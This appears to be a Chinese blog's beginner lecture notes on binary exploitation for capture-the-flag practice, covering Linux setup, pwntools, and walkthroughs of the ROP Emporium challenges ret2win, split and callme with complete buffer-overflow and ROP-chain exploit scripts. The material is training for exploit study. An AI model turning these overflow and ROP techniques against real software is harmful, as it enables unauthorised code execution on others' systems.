pwn知识
什么是pwn
Pwn可以简单概括为软件的漏洞的挖掘和利用(二进制攻防)。
涉及到的知识
涉及计算机学科的众多方向,而且大多偏底层。包括不限于,C语言,C++,python,数 据结构,计算机组成原理,操作系统,编译原理,计算机网络等。
linux基础
虚拟机:Ubuntu版本不限(但是以后做题的时候会用到不同版本的Ubuntu,具体题目具体分析)
基本命令:
ls命令 dir
就是 list 的缩写,通过 ls 命令不仅可以查看 linux 文件夹包含的文件,而且可以查看文件权限(包括目录、文件夹、文件权限)查看目录信息等等。
cd 命令
cd(changeDirectory) 命令语法:
cd [目录名]
说明:切换当前目录至 dirName。
mkdir filename
创建文件夹。
python安装
sudo apt-get install python
安装。(只能安装库中有的软件程序)
sudo apt-get update
sudo apt-get upgrade
安装 git,gdb
sudo apt-get install git sudo apt-get install gdb
pip安装
sudo apt-get install python3-pip
安装pwntools
pip3 install pwntools
PWN类型
栈漏洞,堆漏洞,格式化字符串漏洞,整型漏洞,逻辑漏洞
buuctf 第二排第三个 level0
pwn练习
ROP Emporium
ret2win
测偏移
cyclic 0x32
cyclic(0x32).find(‘kaaalaaam’)
找到system函数地址
exp
from pwn import *
context.log_level='debug'
p = process('./ret2win')
p = remote('',***)
system_addr = 0x0400824
payload = 'a'*40+p64(system_addr) #0x20+8
p.sendline(payload)
p.interactive()
split
x64传参方式:
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样
需要bin/sh或者cat flag
测偏移,详情见上题
使用ROPgadget
ROPgadget --binary ./split --only'pop|ret'
exp
from pwn import *
p = process('./split')
#elf = ELF('./split')
system_addr = 0x00400810
#system_addr = elf.symbols['system']
cat_flag_addr = 0x00601060
pop_rdi_ret = 0x00400883
payload = 'A'*40+p64(pop_rdi_ret)+p64(cat_flag_addr)+p64(system_addr)
p.sendline(payload)
p.interactive()
callme
IDA 启动!
字符串分析
IDA_字符串检查
libcallme.so : 之前文件夹里面的libcallme库
callme one/two/three : 可能为libcallme中的函数
usefulFuction
这个函数使得我们可以调用callme one/two/three,并且得知这三个函数分别需要三个参数
libcallme.so
libcallme
果然,三个函数在这里
函数分析
1.callme_one
callme_one
发现它的作用是读取已经加密了的flag.txt
2.callme_two
callme_two
发现是利用key1.dat进行一些解密工作
3.callme_three
callme_three
和callme_two差不多,也是进行解密工作
分析漏洞点函数
pwnme
是pwnme函数的一个fgets溢出漏洞
同样得到偏移值0x20+8
查看plt表
plt表
得到地址
callme_one = 0x401850
callme_two = 0x401870
callme_three = 0x401810
思路
- 使用ROP实现跳转
- 使用plt表调用函数
关于plt表:GOT表和PLT表知识详解
PLT表中的每一项的数据内容都是对应的GOT表中一项的地址这个是固定不变的,到这里大家也知道了PLT表中的数据根本不是函数的真实地址,而是GOT表项的地址
其实在大家进入带有@plt标志的函数时,这个函数其实就是个过渡作用,因为GO表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。
exp
from pwn import *
context.log_level = 'debug'
#context.terminnal = ['gnome-terminal','-e']
p = process('./callme')
elf = ELF('./callme')
#0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
pppad = 0x00401ab0
callme_three = elf.plt['callme_three']
callme_two = elf.plt['callme_two']
callme_one = elf.plt['callme_one']
#gdb.attach(p)
payload = 'a' * 40
payload += p64(pppad+3)
payload += p64(pppad) +p64(1) +p64(2) + p64(3) + p64(callme_one)
payload += p64(pppad) +p64(1) +p64(2) + p64(3) + p64(callme_two)
payload += p64(pppad) +p64(1) +p64(2) + p64(3) + p64(callme_three)
p.recvuntil('>')
p.sendline(payload)
p.interactive()
- 記事へのリンク:https://torebtr.github.io/2021/03/13/%E7%AC%AC%E4%B8%80%E6%AC%A1%E8%AE%B2%E8%AF%BE/
- 著作権表示:このブログ内のすべての記事は、特別な記載がない限り の下のライセンスで保護されています。
GitHub IssuesGitHub Discussions